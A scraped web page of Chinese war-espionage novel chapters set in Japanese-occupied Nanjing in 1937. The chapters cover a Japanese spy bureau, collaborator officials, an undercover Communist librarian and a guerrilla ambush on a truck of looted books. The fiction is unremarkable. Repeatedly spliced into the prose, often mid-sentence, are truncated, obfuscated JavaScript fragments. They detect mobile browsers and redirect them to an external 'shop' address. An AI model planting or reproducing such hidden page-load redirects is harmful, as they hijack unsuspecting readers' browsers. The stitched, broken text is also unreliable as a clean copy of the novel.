0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14259553|151631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意思,就跟他学了几个星期。” 曲思秋哦了一声,又问:“你到底有没有参加刺杀?我看你脚上的鞋还是原来的,怎么脚印对不上?我担心死你了!” 林赤更得意了:“你还记得我去打开水吗?我到开水房,用炭火把鞋底的纹路全烤掉了。” 曲思秋啊了一声:“你这个人太可怕了,看来我以后要多提防着你!” “你要提防我什么?”林赤质问道。 “……提防你以后骗我呀!”曲思秋搪塞道。 两人相谈甚欢,不觉时间过得很快。 曲思秋:“我带你回病房休息吧,再给你找些吃的。”说完她拉起林赤,发现林赤似乎心不在焉:“你在想什么呢?” 林赤:“日本人怎么不把我抓走?这不合情理啊!怎么说我的嫌疑也最大呀!” 曲思秋没好气地说:“难不成你倒希望日本人抓你啊!” 第二天早晨,林赤刚醒,曲思秋就来了。 曲思秋一手端着饭盒,一手拎着几件衣服。 “你醒啦。”曲思秋说,“我从一个身材和你差不多的男同事那里,找了几件衣服给你,吃完早饭后你试一下,看合不合身。” 曲思秋把衣服放在林赤的床头,放下手中的饭盒,向四周看了看,低下头在林赤耳边耳语道:“你要不要换个地方,万一日本人再来……会不会把你抓进去?” 林赤摇头:“不用,要抓我他们昨天晚上就抓我了,再说,如果我跑了,不是不打自招吗?我走可以,你怎么办?昨晚你那么一闹,日本人肯定知道你和我的关系很近,他们会放过你?” 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩! 第44章 会议 黄浦路憩庐。 松机关的南京指挥中枢。 原本清净雅致的总统官邸,如今显得特别忙碌。不时有日本士兵进进出出,偶尔还飞驰而来的军用摩托,车上下来的都是背着长枪,手握公文包的日本士兵,所有人都是行色匆匆,高效地传递着各部门之间的文件。 这样的景象无不说明,成立不足一周的松机关已步入正轨,且紧张有序的运作。 黑木此时正站在二楼他的卧室一面两米高的落地镜前,细细地看着镜中的自己,准确地说,他是在欣赏镜中的黑木。 这面外表华丽、工艺精致的落地镜,应是蒋总统夫人的起居专用,不过,镜子里映出的已不再是那张娇美的容颜,而是春风得意的黑木。 的确如此,今天的黑木心情愉快极了。 黑木早晨起床不久,就接到了来自帝国陆军省的晋升命令,陆军大臣杉山元大将直接任命他为南京松机关的机关长,从此,他黑木不用再背负“代理机关长”的包袱,“代理”二字已不属于他黑木。 他想起昨天佐方介绍他时用的是“代理机关长”的说辞,可就在一夜之间,他黑木即被扶正!不仅如此,扶正的命令下达不久,他又得到了他黑木晋升少将的喜讯,而将官的晋升,则必须是天皇亲授,在东京的陆军省他的档案里,这一页可是盖有天皇印章啊! 想起自己今后起,将与佐方佩戴同一军衔,不用再屈卑地向他敬礼了时,镜中的黑木由衷地笑了。 黑木再次看了看镜中的自己,正了正衣帽,大阔步走出房间。 在楼下,黑木遇到一个二十多岁、身材魁梧,眉毛又浓又黑的青年男人。 黑木看他脸上有汗,显然是一路奔波。 黑木笑道:“李飞,顺利吗?” 叫李飞的青年男人谦恭地笑道:“太君,我们不是说好了吗,从今以后,我的名字叫李泉。” 黑木一拍脑袋,打了个哈哈:“看我粗心的,李泉君,怎么样?” 李泉:“这个林昂太狡猾了,他好像看出了我什么破绽。” 黑木今天双喜临门,心情大好,并未责备,相反还上前拍拍李泉的肩膀,像是在安慰:“具体说说看。” 李泉:“他说根本不认识什么锤子,我看他分明是在说谎!最后几乎是把我轰出来了。” “替皇军效力不能操之过急,来日方长,另外还要多用用脑子!”黑木继续微笑着,指着自己的脑袋说道。 李泉大声回答道:“是,太君!我一定铭记在心!” “从今以后要说属下!”黑木纠正李泉。 李泉改口:“属下谨记!” 黑木:“川上中佐把你介绍到我这边来,那是我的意思,在他们特高科是没有发展前途的,用你们中国的表达习惯,他们只是个处级单位,而我们可是局级单位!皇军现在正是用人之际,只要是人才,我们用人不疑疑人不用……再说,从你提供的情报来看,是有效地,也是准确地,你记住,不管你以前在他那里受没受委屈,只要你今后好好效忠皇军,我保你前途无量!” 李泉点头,大声说:“从今以后,我唯黑木大佐马首是瞻……” 黑木连忙打断李泉,用手指弹了弹肩上的那颗美丽的将豆:“我已经升为将军了!” “恭喜将军!” “你跟我来!”黑木拉着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14259554|151631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李泉,二人并肩走出憩庐,穿过憩庐门前两棵粗壮的雪松,来到门前的空地上。 这时,空地上已整齐站立了四排便衣男子,每排五名,神情肃穆。 队列前面的渡边雪奈一看到黑木出来,大声道:“请黑木将军训话!” 黑木第一次听到他人在他的姓氏后加上了“将军”二字,大为受用,不禁有些心花怒放:“帝国的勇士们,今天是我们松机关行动处正式成立的日子,也是我们松机关在中国国民政府首都启动情报工作迈出的可喜的第一步!从今天起,我们在南京的特务工作不再是孤军作战,你们的身后,站着的是强大的帝国,我黑木瞳将带领你们,克服一切困难,把一切不可能转变为可能,从而赢得这场圣战的彻底胜利!” 在场所有人热烈鼓掌。 “下面,我任命渡边雪奈少佐为松机关行动处处长!” 又是一阵掌声。 渡边雪奈对着人群鞠了个躬:“谢谢将军的厚爱!南京我们刚占领不久,现在形势依旧复杂,在南京城里,还潜伏着大量的中国溃兵,还隐藏着敌人的特工,他们的情报系统还在运作,我们行动处的首要任务就是,在黑木机关长的统一领导下,收集一切可利用的情报,摧毁他们的情报系统,肃清并净化这座城市,达到长治久安的目的!” 渡边说完后,回到队列前排,站定。 黑木补充道:“以后我们还会根据需要,补充并扩大我们行动处的力量,我希望诸位精诚团结,克己克力,效忠天皇!好,解散!” 人群散去,门前的空地上,只有黑木、渡边还有李泉。 本小章还未完,请点击下一页继续阅读后面精彩内容! 第45章 良民证 憩庐的一楼会议室。 黑木在主持会议。 松井石根大将布置给松机关的工作,黑木马上落实。 会议室正面的墙上,用横幅打出了一行标语:良民证颁发筹备会。 在南京颁发良民证,早在几天前就盛传坊间,如今,被松井石根提上了议事日程,而操刀者,就是黑木领导的松机关。 在南京这样一座饱经战争创伤和残暴洗劫的城市推行良民证,确实存在不小难度。 黑木:“既然大家都说有困难,那么请大家说说难度到底在哪里?” 下关区公所的薛飞风率先发言:“最大的困难还是身份甄别难度大!” 薛飞风原是南京警察厅的副厅长,日本军队进城后,奉命带领警察部队作最后一战。他本是警察厅管理总务的副厅长,让他管管后勤还有盈余,但让他真枪实弹和鬼子干,实在勉为其难。他想起拖家带口已撤离南京,如今在重庆逍遥快活的厅长,心中一时愤懑难平,就干脆降了日本人。可让他至今耿耿于怀心中不安的是,即使是放下武器的警察部队,竟有数千人惨遭到了日本人的屠杀!这样的结果让他寝食难安,夜夜噩梦。 “我已做了初步统计,如今的南京市民,依旧待在家中的已不足四成,除去一部分逃难异乡外,剩余者几乎都聚集在安全区里,甄别起来工作量非常巨大。” 黑木:“南京市民的户籍管理原来是不是你们警察厅在负责?” 薛飞风:“是的,只不过战端一开,定有不少档案缺失。” 秦淮区公所的丁易白说道:“我个人以为,还是工作量太大。目前我们区公所招募的公务人员还不足二十名,除去日常政务,能够抽出具体经办此事的人手,少之又少……” 丁易白原是南京商会的副会长兼常务秘书,掌握着不少南京的商业资源,南京沦陷后,一下子成为日本人的座上宾,并担任了秦淮区公所的所长。 黑木看了看一直低头的池碧疆,说道:“池所长,你有没有什么话要说?” 池碧疆抬头扫了一眼与会者:“良民证上的照片怎么办?” “现在在整个南京城,连一家照相馆都没有了,我们此次要颁发数十万份良民证,很多人是没有照片的……” 黑木赞道:“池所长到底是文化人,思考问题就是细,这一点我倒是没有想到!” 黑木又把目光射向了一旁的一位老者:“陶会长,本次会议请您来,就是想看看,您能不能帮上我们点什么?” 老者正是南京自救会会长陶天阙。 陶天阙说道:“我们自救会不问政事,恐怕帮不上什么忙!” 黑木皱了一下眉:“你们自救会也是南京人民的自救会,既然您身为会长,这件事恐怕您也脱不了干系。” 陶天阙想了想道:“既然如此,我就组织人,专司照相,给需要的南京市民免费拍照。” 黑木眉头一下子舒展开了:“我就说嘛,松林老先生一腔热血,是不会袖手旁观的,您真是急我所急想我所想啊!” 黑木:“我们松机关将配备人手,专门负责良民证的审核,你们三家区公所回去后从社会上召集人手,张贴告示,设立办事处,速速办成此事。” 黑木侧过头,对一直默默在听的渡边雪奈说:“渡边小姐,你从我们行动处选上六名可靠人员,分别派驻各办事处,审核并督办此事,记住,审核一定要严格!” …… 曲思秋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14259555|151631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在病房门口示意林赤出来一下。 曲思秋把林赤带到一间空的办公室。办公室里,曲思冬在等着他们。 曲思冬一见林赤,连忙站起身,拉着林赤道:“你的事我都听我妹妹说了,我真替你捏一把汗。你小子骨头真硬!” 林赤:“你出去后怎么样?” “那天,我出了西大门,是在门口看到一个人,可对方一直不理我,我猜想对方不确定我的身份。不一会就看到鬼子来了,我就一直躲在巷子里,却迟迟不见你出来,本来想进去看看,可到处是鬼子,我身上又藏着枪,就先走了。” 林赤:“你走以后去哪儿了?” 曲思冬兴奋起来,眉飞色舞说道:“我回去了,又遇到钉子了……” “钉子!”林赤打断了曲思冬,他想起曲思冬曾和他说起过这个人,难怪他和李泉谈话中脱口说出了钉子,原来潜意识里是有这个人的。 这么说,李泉也知道钉子这个人。 林赤问道:“你是怎么认识钉子的?” “松井石根入城那天,我去刺杀他,就要得手了,可是他们也安排了刺杀,就这样被他们搅黄了。” “他们安排了三个人,其中两个我认识,都是我们城防司令部的人……在撤退时,我碰到了钉子……” 林赤:“另外一个人你认识吗?” 曲思冬:“没细看……怎么啦?” “没什么,那三个人最后怎么样啦?” 曲思冬:“我估计他们凶多吉少!我和大军本来想营救,但后来我遇到一个人,把我们制止了,这个人就是钉子!” 小主,这个章节后面还有哦,请点击下一页继续阅读,后 面更精彩! 第46章 池碧疆 池碧疆从松机关开完会,没有去鼓楼区公所,而是先直接回了家。 回到火瓦巷现在的寓所,池碧疆就一直把自己关在房间里。 今天的池碧疆,心情糟糕到了极点。 首先是女儿池橙对他态度的转变,这种态度的转变竟然始于父女的重逢。那天池碧疆去中华门参与迎接松井石根,在人流中意外发现了失踪的女儿,本以为女儿会高兴坏了,可女儿从此后对他不冷不热,还经常爱发脾气,动不动就想离家出走,这在以前是从未有的。 在池碧疆的眼里,女儿还小,是一个处处依赖父母的孩子。 可自从这件事后,池碧疆清楚知道,女儿池橙已长大了。 中午开完会回家后,女儿说要出去,问她去哪里,她始终不肯说,无奈之下,池碧疆只好让司机开车送她前往。如今的南京城一片乱象,他是绝不会让女儿独自一人出去的。 池碧疆心里很明白女儿对他生气的原因,还不是自己当上了这个伪区公所所长? 池碧疆心中的苦衷只有他心里清楚,但他不能向任何人诉说,即使是自己的女儿,甚至包括结发妻子红霞。 池碧疆其实是一名已有十年党龄的中共党员,1927年年初,池碧疆在上海东方图书馆参加商务印书馆主办的民国图书出版研讨会期间,经中央特科一名负责人介绍,秘密加入了中国共产党。回到南京之后不久,四一二反革命政变爆发,组织上命令池碧疆长期隐蔽。直到去年,西安事变后,国共旋即第二次合作,联合抗日,南京八路军办事处成立,南京办事处的主任正是当年介绍他入党的刘先生,就这样他才与组织重新恢复联系,隶属南京城工部,并负责南京地下党情报网的领导与建设。可一年时间不到,随着战局吃紧,国民南京政府迁都重庆,八路军南京办事处被迫跟随转移,鉴于他的金陵图书馆馆长身份,上级在撤离时给他下达了“隐蔽精干、长期埋伏、积蓄力量”的命令。 女儿池橙的误解池碧疆尚可忍受,可现今最让他心急如焚、忧心忡忡的是日本人正在对南京这座古城进行肆无忌惮的文化掠夺。金陵图书馆的八十多万藏书几乎被日本人洗劫一空,其中不乏大量的真品与孤本。 对一个国家而言,文化代表着民族传承的全部,而图书,则是传承的最有力见证,文化的毁灭就像人被刺中心脏一样致命、一样难以挽回。 当日本士兵进驻金陵图书馆,赶走了里面所有工作人员后,池碧疆心如明镜,日本这个文化单一而狭隘的国家对中国文化的掠夺开始了!果不其然,他们盗抢中国藏书几乎每天都在发生。这让池碧疆感到无名的愤怒,他对发生的这一切,不但无力阻拦,甚至连诉说衷肠的人都没有! 他现在迫切要做的,就是设法收集日本人盗抢中国文化的更多证据,并把他们罪恶的行径通过更广泛的渠道传播。这大概也是他作为一名中国人时下唯一能做的事情了。 而他的现有身份,给他的这项工作,提供了更便利的掩护。 他决定,改天去一趟金陵图书馆,带上照相机,拍些照片。 正当池碧疆暗暗下定决心之际,他听到门前有汽车的刹车声。 一定是女儿回来了。池碧疆想。 推门出了书房,来到门口,果然如此。 池橙下车,一脸愠色,把车门重重关上。 “橙儿回来啦!”池碧疆说。 池橙看都没看他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14259556|151631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一眼,气呼呼地直往屋里走。 红霞循声也从房间里走出:“怎么啦,又是谁惹我女儿生气了?” 池橙气呼呼道:“还有谁?害得我在别人面前都抬不起头来!” 池橙瞪了她父亲一眼。 池碧疆知道说的是他,并不生气,笑道:“是不是上次来我家的小曲?” 不提则罢,这一提,池橙脸上的怒气渐渐转为委屈,骤然间眼泪大颗大颗吧嗒吧嗒掉下来。 红霞见状忙上前搂起女儿,安慰道:“橙儿,你要理解你爸!” “你让我怎么理解他,国家都亡了,日本人在南京整天杀人,而他,住的是日本人送的房子,坐的是日本人送的车子,做的是日本人安排的事……这和汉奸又有什么分别!”池橙哭诉着。 “不许你胡说!”红霞有点生气了。 看女儿不说话了,红霞又低声道:“你声音小点,吵醒你奶奶,她又要出来数落你爸了。” 池橙嘟着一张嘴,气鼓鼓的样子。 池碧疆:“橙儿,总有一天你会明白你爸的。” 池橙扫了他一眼:“但愿吧。” “如果真有那么一天,我谢天谢地。”池橙补充道。 红霞把女儿扶坐下来。池碧疆想缓和一下气氛。 “你见到曲思冬那小伙子啦?”池碧疆问。 “什么小伙子?人家可是堂堂的营长,不但充满了正义感,还有一颗爱国心。”池橙反驳道。 池碧疆被女儿呛了一下,有些尴尬。“他住什么地方?外面这么乱,实在不行叫他住我们家来?” 本小章还未完,请点击下一页继续阅读后面精彩内容! 第47章 文化掠夺 夜色中,曲思冬和钉子前后脚回到了紫金山东麓。 曲思冬先到石头房子和父母报了平安后,就来到后山。 刚到后山脚下,曲思冬正欲沿小路上山,黑暗中的哨兵喝了一声:“口令!” 曲思冬:“1937。” 曲思冬一发声,哨兵马上惊喜说道:“曲队长,你回来啦!” 曲思冬听出了对方的声音是第三小队凌鼎天手下的队员冯勇敢。曲思冬对这个小个子队员印象很深,他跑步速度超快,尤其是百米短跑,除此以外,冯勇敢还吹得一口动听的口琴。 哨兵的警惕性让曲思冬很满意。 在昨天的成立仪式上,曲思冬强调了几点,第一、国破志坚,决不能因为一城一池的得失而失去信心,丧失斗志;第二、勤练兵,良好的军事素养是每个军人杀敌之根本,不能无忧患意识,尤其是身处敌后的战士;第三、明暗哨结合,加强根据地的防卫。 就冲第三点的执行情况,曲思冬觉得很欣慰。 曲思冬:“辛苦了,小冯!加强警戒!” 五六米高的山坡上的树丛中传来冯勇敢坚定铿锵的声音:“是,长官!” 到了半山腰的驻地,曲思冬听到屋后的山坡岩石边有小声的说话声,曲思冬知道这是一群夜不能寐、毫无睡意的队员在轻声聊天,就咳嗽了一声。 马上传来陈大军的声音:“是曲队长回来了。” 曲思冬走近,所有席地而坐的队员纷纷向他问好,足足有十来名。 曲思冬听出了几位队长的声音,就说:“你们还没睡?” 二队长魏瑞说道:“我们睡不着,唠唠家常。” 凌鼎天接着说:“既然不能点灯,我们用星星当灯。” 曲思冬说:“我昨天的会上,不是不让你们点灯,而是尽量少点灯。” 一队长钱瑾余的声音:“是啊,亮灯很容易暴露,再说灯油又贵……” 曲思冬关切的问:“晚上吃什么了?” 陈大军接话:“你家里存粮已不多,这么多张嘴要吃饭,阿姨和大叔够为难的,他们用小米、白菜和红薯熬了一大锅粥,不过我们都吃得挺饱的。” “这么下去也不是办法,等钉子队长回来,我和他商议一下,要尽快弄到粮食……” 黑暗中,突然传来钉子的厚重声音:“你们在说我什么?” 声音来自于二十多米远的上山小径上。 钉子到了,把背上的一包东西重重放到地上,里面发出金属的碰撞声。 包括曲思冬在内,所有人低声道:“长官好!” 一名队员说道:“是不是大队长给我们带吃的啦?” 钉子:“是填肚子的,不过不是填我们的肚子,而是填枪肚子的……” 凌鼎天抢着说:“子弹!” “是的,全是子弹,二百多发。” 曲思冬刚想报告眼下粮食短缺的困难,钉子先开口说道:“我们有任务了!” 几个队长异口同声问:“什么任务?” “明天中午时分,将有一辆日本军用卡车从中山门通过,沿宁沪公路前往上海,上面满载着从我们金陵图书馆霸占来的图书,此外还有不少文物瓷器等珍品。” 魏瑞骂道:“操他姥姥的,这日本强盗,真是恬不知耻!” 钉子继续说:“我们的任务,就是截下它,阻止 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14259557|151631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我们文化珍品的流失!” 钱瑾余:“我懂了,小日本这是想重新进化,他们国家贫瘠的文化已支撑不了他们走得更远,这才千方百计外加不择手段……可是我华夏上下五千年文化,底蕴博大精深,又岂是这帮东洋夷人能一时半会领悟的!” “队长,请你具体说说。”曲思冬道。 钉子:“正好你们三位队长加上曲副大队长都在,我们研究一下计划!” 曲思冬:“大队长的情报有没有说他们的兵力情况?” 钉子:“情报倒没有特别说明,但据我估计,兵力不会很多,原因嘛首先是日本人认为他们这样的行为我们不会太重视,更不可能冒险去武力劫持,他们刚取得了胜利,自以为宁沪一带已相安无事,已无战事;再说从南京到上海,足有三百多公里路程,日本人惯用的三轮军用摩托,来警卫通行车辆的做法不太现实,无法胜任这长距离的行进,还有,为了这一车图书,他们也不可能特地动用一卡车的护卫力量,所以我认为充其量他们会有一到两辆轿车跟随,并会在随行卡车上安排一定数量的士兵,卡车驾驶室连同司机在内最多五名士兵,车厢里最多也只能安排四到五名,加上小车里的士兵,我猜想最多十五六名士兵。” 曲思冬:“既然这样,我们安排第一第二小队来执行此次任务……” 凌鼎天连忙插话:“曲队长千万不能让我们饿着啊!” “这么小小的一次行动,出动我们三支小队,岂不是杀鸡用牛刀?你们第三小队留守,抓紧时间把房子建好!”曲思冬说道。 凌鼎天不情愿地说了声“是”。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩! 第48章 完美阻击 一眼望去,东方的地平线上方,在厚重的云霭边缘,隐隐透出了光亮。 晨曦的来临,从来不会一蹴而就。 但是,林间偶尔传出的鸟鸣已预示着黎明渐行渐近。 东方欲晓,莫道君行早,更有早行人。 紫金山东麓。 一条蜿蜒东去的林间小道,一行二十多人,借着破晓的微光,在急速地向东行进。 单从这支队伍的衣着来看,定会让人丈二和尚摸不着头脑,如果你仅仅是个看客,有人会忍俊不禁,有人会匪夷所思,还有人会疑窦顿生。 倘若和时下的局势结合起来,你无论如何都不会轻看这样的场景。 从他们疾行的速度,人手一支的步枪配置,你大概也能猜到,他们是去完成一项使命! 跑在队伍最前边的,是个二十四五岁的年轻人,身着日军少佐军服,但和他这身打扮格格不入的是,他手里拿的不是指挥刀,也不是手枪,而是一支长枪。 他身后的一行人,穿什么衣服的都有,占比最多的是国军军服,其余的,全是百姓服饰,有棉袄、长褂、大衣、布衫,应有尽有,而颜色也是五花八门。 他们唯一的共同点,就是手里均提着步枪。 他们此行的目的地,就是紫金山东麓的延伸段——马群。 是的,这支队伍,正是由刚成立才两天的华帮抗战大队第一二小队混编而成。 为首的那名年轻人,就是副大队长曲思冬。 走在队伍最后面的,则是相互扶携的两人——张遥和冯勇敢。 张遥穿着他自己的日本军服。 张遥身体尚未康复,当曲思冬和他讲了这次任务后,他一口答应,为了照顾他的行动不便,曲思冬特地让他不用紧跟部队,并命令冯勇敢陪伴左右。 冯勇敢本是第三小队凌鼎天的队员,考虑到他短跑速度快,在瞬息万变的战场上可能会发挥奇效,曲思冬还是决定让他一起随部队行动。 马群和紫金山近在咫尺,四周群山环抱,林木茂盛,风景秀丽。 公元1373年明洪武帝在此设立管理牧马机构,牧养战马和皇家御马,并按毛色分养大批番人贡马,马群因此而得名。 马群历史悠久不仅于此,秦代的驿道就穿过马群老街。 而在距今900多年前,宋代在马群即设有金陵驿。 …… 三十分钟后,华帮抗战大队的第一二小队抵达了马群古镇。 和曲思冬脚下的林间小道同时汇入马群古镇的还有一条宽七八米的石子路,这条石子路就是宁沪公路。 马群镇则是过往车辆必经之路。 在镇子西首,有一座宽不足五米、长度十五六米的百年古石桥,名叫青马桥,桥下水流潺潺,桥的两边,是岩石嶙峋的山坡,西侧陡峭,东侧稍稍平缓,坡上参天大树高耸入云。 曲思冬一眼选中了此地。 他决定在此设伏。 仔细勘查了桥两侧的地形后,曲思冬命第一小队队长钱瑾余带领八名队员埋伏在桥的西侧山坡上,把敌人放进来,一旦车辆驶上青马桥,战斗立即打响,他们负责射杀卡车上的警卫力量并断其后路。而第一小队剩余的四名队员补充给埋伏在桥东侧的第二小队,由曲思冬统一指挥。 曲思冬之所以加强了青马桥东侧的阻击力量,主要考虑战斗打响后,第一小队身处战场的正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14259558|151631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面,时刻会面临敌人的亡命突围。为了防止对方车辆不顾一切的冲撞,曲思冬还让队员找来不少巨石和废木料,尽数堆放在山坡上,只要枪声响起,立即将它们推下山坡,在青马桥的东首石子路上布置成人为的路障,阻止敌方车辆逃窜。 这次的伏击,它们携带的全是清一色的步枪,此外还有八颗缴获日本人的手雷。曲思冬要求不到万不得已,手雷不可轻易使用,主要原因就是怕损毁了车上的珍贵古籍。 曲思冬将任务布置完毕后,冯勇敢搀扶着张遥到了。 看到冯勇敢后,曲思冬又命冯勇敢再西行百米,找一个视野开阔的地方藏身,一旦目标出现,即飞跑来报,好提前早做准备。 张遥也要求参加战斗,曲思冬想了想还是同意了,并给了他一支枪,跟在自己身后一同行动。 安排妥当,所有人立即就位隐蔽。 时间不觉已是晌午。 队员们都在焦急地等待。 这是自南京保卫战失败、南京沦陷后的首支中国武装,在南京的土地上,主动迎击日军! 尽管这是一支东拼西凑的武装,但矢志不改,那就是对来犯之敌以牙还牙! 这座百年的青马桥,在冬日的旭阳下,安静得在数十米外的地方,依稀可闻哗哗的流水声,但杀气峥嵘! 时间一分一秒过去,又一个小时,一个瘦小的身影乍现在众人眼前。 冯勇敢两袖生风,转眼间已到桥头,他用预先约定好的手势传递了敌情已至的信息。 十五米的青马桥,他一闪而过,很快攀爬上了青马桥东首的山坡。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩! 第49章 改装电台 黑色轿车驶进马群镇,往镇西而去。 刚开一会儿,小洪说:“前面有日军!” 曲思冬坐在后排,立起身看,果然,在青马桥的方向,已出现了不少日本士兵。 小洪减慢车速,问道:“我们要不要绕道栖霞?” 曲思冬沉吟片刻:“绕道栖霞,恐怕也未必碰不到日本人,还是开过去吧。” “待会儿,遇上日本人盘查,你就说我们是汤山驻军,有紧急文件呈送南京警备司令部。”曲思冬拍着张遥的肩膀说道。 离青马桥越来越近,曲思冬摇下后座的窗户玻璃,并对张遥和陈大军说道:“你们把窗户都打开!” 张遥坐在副驾驶位置,陈大军在曲思冬右侧,他们照做。 几名日军士兵正在推桥上的趴窝的小轿车。 曲思冬把帽檐压低,整个身子倚在座位上,他对小洪说:“使劲按喇叭,不要停!” 小洪于是长按住汽车喇叭。 张遥把脑袋赶紧伸到窗外,远远地用日语对桥上几名士兵呵斥道:“快让开,我们有紧急公务!” 几名士兵拘谨地赶紧退居桥边。 在桥首的一名主事日军军官把轿车从外到里仔细打量了一遍,眼中似有狐疑,正欲上前询问,张遥没好气地问他:“快告诉我,去城里的路安全吗?” 曲思冬把帽檐抬起,眼光坦然地迎着那位军官,军官看看曲思冬,再看看张遥,最后看着曲思冬回答道:“安全。” 紧接着他又问:“你们是哪部分的?” 曲思冬傲慢地看着他,并不作答。 “我们是汤山驻军!”张遥回答道。 汽车驶上桥头,日军军官迎来上来,小洪并未放慢车速。 小车擦着军官的身子,扬长而去…… 车子继续行驶了六七公里,曲思冬让小洪把车靠路边停下,对他说了声保重,带着陈大军和张遥下车,钻进了路北的树林中。 林赤此时最迫切想见的人就是锤子。 连续几天待在医院里,虽然这是养病的需要,但林赤还是觉得无聊得要命。 他的身体在曲思秋的精心护理下,已恢复得很好。 但在曲思秋看来,这短短的几天时间,离康复尚还有一段距离。所以,当林赤提出要出院的要求后,曲思秋毫不客气地拒绝了! “我确实还有重要的事情要做!”林赤哀求道。 “不可以,我和你说了多少遍了!你的伤口只是在收合,但只要稍微剧烈运动,它又会裂开!”曲思秋一边低头做事一边对林赤说着。 林赤想了想说:“那我就出去一会儿,办完事马上回来,我保证!” 曲思秋见林赤确实有要事,沉默片刻道:“那好!” 林赤开心地连声道谢。 曲思秋冷冷地说:“身体是你自己的,你谢我什么?连你自己都不珍惜,其他人又如何帮得了你?” 林赤看出曲思秋不高兴了,但不知道如何安慰,干脆扭头就走。 曲思秋却叫住了林赤:“你放在我这儿的东西不带走吗?” “不带了!”林赤毫不犹豫答道。 曲思秋很好奇:“难不成你今天出去办的事情却与它无关?” 林赤:“我总觉得带在身上不安全,我不信日本人那么轻易放过我!” 曲思秋立即显出一副担心的样子:“那你一个人出去会不会有危险?” 林赤:“只要没有把柄被他们抓住,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14259559|151631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 相信没什么大不了。” “那我再替你保管几天。” 林赤一出医院大门,直觉就告诉他,身后有人跟踪。 是返回还是继续前行?林赤心中快速地盘算着,要是在平时,他会毫不犹豫选择后者……林赤评估着自己的身体,略作思索,他还是依然迈开了脚步。 他要见锤子。 林赤知道,复兴社千方百计找他,一定有什么重大的任务,而且这个任务迫在眉睫,如果稍有懈怠,一旦错失机会,或许会给这个已千疮百孔的国家带来巨大的损失! 既然原先的信息渠道已经阻塞,而获知这项任务之关键,是建立和重庆的电波联系。 